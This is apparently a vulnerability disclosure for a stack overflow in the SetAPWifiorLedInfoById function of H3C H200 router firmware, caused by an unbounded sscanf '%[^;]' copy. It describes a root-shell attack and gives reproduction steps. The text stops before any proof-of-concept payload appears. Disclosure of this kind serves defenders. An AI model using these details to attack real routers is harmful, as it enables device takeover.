H3C H200\[H200-EI\] H200V100R004, the latest version of simulation overview：

**Vulnerability details**

The H3C H200\[H200-EI\] (H200V100R004) was found to have a stack overflow vulnerability in the SetAPWifiorLedInfoById function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the SetAPWifiorLedInfoById function,V8(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V12, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks
